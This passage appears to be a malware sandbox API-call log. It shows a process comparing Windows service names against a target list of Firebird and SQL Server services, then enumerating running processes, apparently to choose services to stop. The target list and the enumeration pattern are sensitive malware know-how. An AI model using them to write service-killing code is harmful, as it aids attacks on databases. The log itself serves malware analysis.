(lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.155] lstrlenW (lpString="DeviceAssociationService") returned 24 [0160.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0160.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0160.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0160.155] lstrlenW (lpString="Dhcp") returned 4 [0160.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.155] lstrlenW (lpString="Dnscache") returned 8 [0160.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.155] lstrlenW (lpString="DPS") returned 3 [0160.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.155] lstrlenW (lpString="DusmSvc") returned 7 [0160.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0160.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0160.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0160.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0160.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0160.155] lstrlenW (lpString="EventLog") returned 8 [0160.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0160.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0160.156] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0160.156] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0160.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0160.156] lstrlenW (lpString="EventSystem") returned 11 [0160.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.156] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.156] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.156] lstrlenW (lpString="FontCache") returned 9 [0160.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0160.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0160.156] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0160.156] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0160.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0160.156] lstrlenW (lpString="gpsvc") returned 5 [0160.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.156] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.156] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.156] lstrlenW (lpString="iphlpsvc") returned 8 [0160.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.156] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.156] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.156] lstrlenW (lpString="KeyIso") returned 6 [0160.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0160.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0160.156] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0160.156] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0160.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0160.157] lstrlenW (lpString="LanmanServer") returned 12 [0160.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.157] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.157] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.157] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.157] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.157] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.157] lstrlenW (lpString="lfsvc") returned 5 [0160.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0160.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0160.157] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0160.157] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0160.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0160.157] lstrlenW (lpString="lmhosts") returned 7 [0160.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.157] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.157] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.157] lstrlenW (lpString="LSM") returned 3 [0160.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0160.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0160.157] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0160.157] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0160.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0160.157] lstrlenW (lpString="MpsSvc") returned 6 [0160.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.158] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.158] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.158] lstrlenW (lpString="NcbService") returned 10 [0160.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0160.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0160.158] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0160.158] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0160.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0160.158] lstrlenW (lpString="netprofm") returned 8 [0160.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.158] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.158] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.158] lstrlenW (lpString="NgcSvc") returned 6 [0160.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0160.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0160.158] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0160.158] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0160.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0160.158] lstrlenW (lpString="NlaSvc") returned 6 [0160.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.158] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.158] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.158] lstrlenW (lpString="nsi") returned 3 [0160.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.158] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.158] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.158] lstrlenW (lpString="PcaSvc") returned 6 [0160.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.159] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.159] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.159] lstrlenW (lpString="PlugPlay") returned 8 [0160.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.159] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.159] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.159] lstrlenW (lpString="Power") returned 5 [0160.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.159] lstrlenW (lpString="ProfSvc") returned 7 [0160.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.159] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.159] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.159] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.159] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.159] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.159] lstrlenW (lpString="RpcSs") returned 5 [0160.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.159] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.159] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.160] lstrlenW (lpString="SamSs") returned 5 [0160.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.160] lstrlenW (lpString="Schedule") returned 8 [0160.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.160] lstrlenW (lpString="SecurityHealthService") returned 21 [0160.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0160.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0160.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0160.160] lstrlenW (lpString="SENS") returned 4 [0160.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.160] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.160] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.160] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.160] lstrlenW (lpString="Spooler") returned 7 [0160.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.201] lstrlenW (lpString="StateRepository") returned 15 [0160.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0160.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0160.201] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0160.201] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0160.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0160.202] lstrlenW (lpString="SysMain") returned 7 [0160.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.202] lstrlenW (lpString="SystemEventsBroker") returned 18 [0160.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0160.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0160.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0160.202] lstrlenW (lpString="Themes") returned 6 [0160.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.202] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0160.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.202] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0160.202] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0160.202] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0160.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0160.205] Process32FirstW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.205] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.206] lstrlenW (lpString="System") returned 6 [0160.206] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.207] lstrlenW (lpString="smss.exe") returned 8 [0160.207] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.207] lstrlenW (lpString="csrss.exe") returned 9 [0160.207] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.209] lstrlenW (lpString="wininit.exe") returned 11 [0160.209] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.209] lstrlenW (lpString="csrss.exe") returned 9 [0160.209] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.210] lstrlenW (lpString="winlogon.exe") returned 12 [0160.210] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.210] lstrlenW (lpString="services.exe") returned 12 [0160.210] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.211] lstrlenW (lpString="lsass.exe") returned 9 [0160.211] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.211] lstrlenW (lpString="svchost.exe") returned 11 [0160.211] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.212] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.212] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.213] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.213] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.213] lstrlenW (lpString="svchost.exe") returned 11 [0160.213] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.214] lstrlenW (lpString="dwm.exe") returned 7 [0160.214] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.214] lstrlenW (lpString="svchost.exe") returned 11 [0160.214] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.215] lstrlenW (lpString="svchost.exe") returned 11 [0160.215] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.216] lstrlenW (lpString="svchost.exe") returned 11 [0160.216] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.216] lstrlenW (lpString="svchost.exe") returned 11 [0160.216] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.217] lstrlenW (lpString="svchost.exe") returned 11 [0160.217] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.217] lstrlenW (lpString="svchost.exe") returned 11 [0160.217] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.218] lstrlenW (lpString="svchost.exe") returned 11 [0160.218] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: 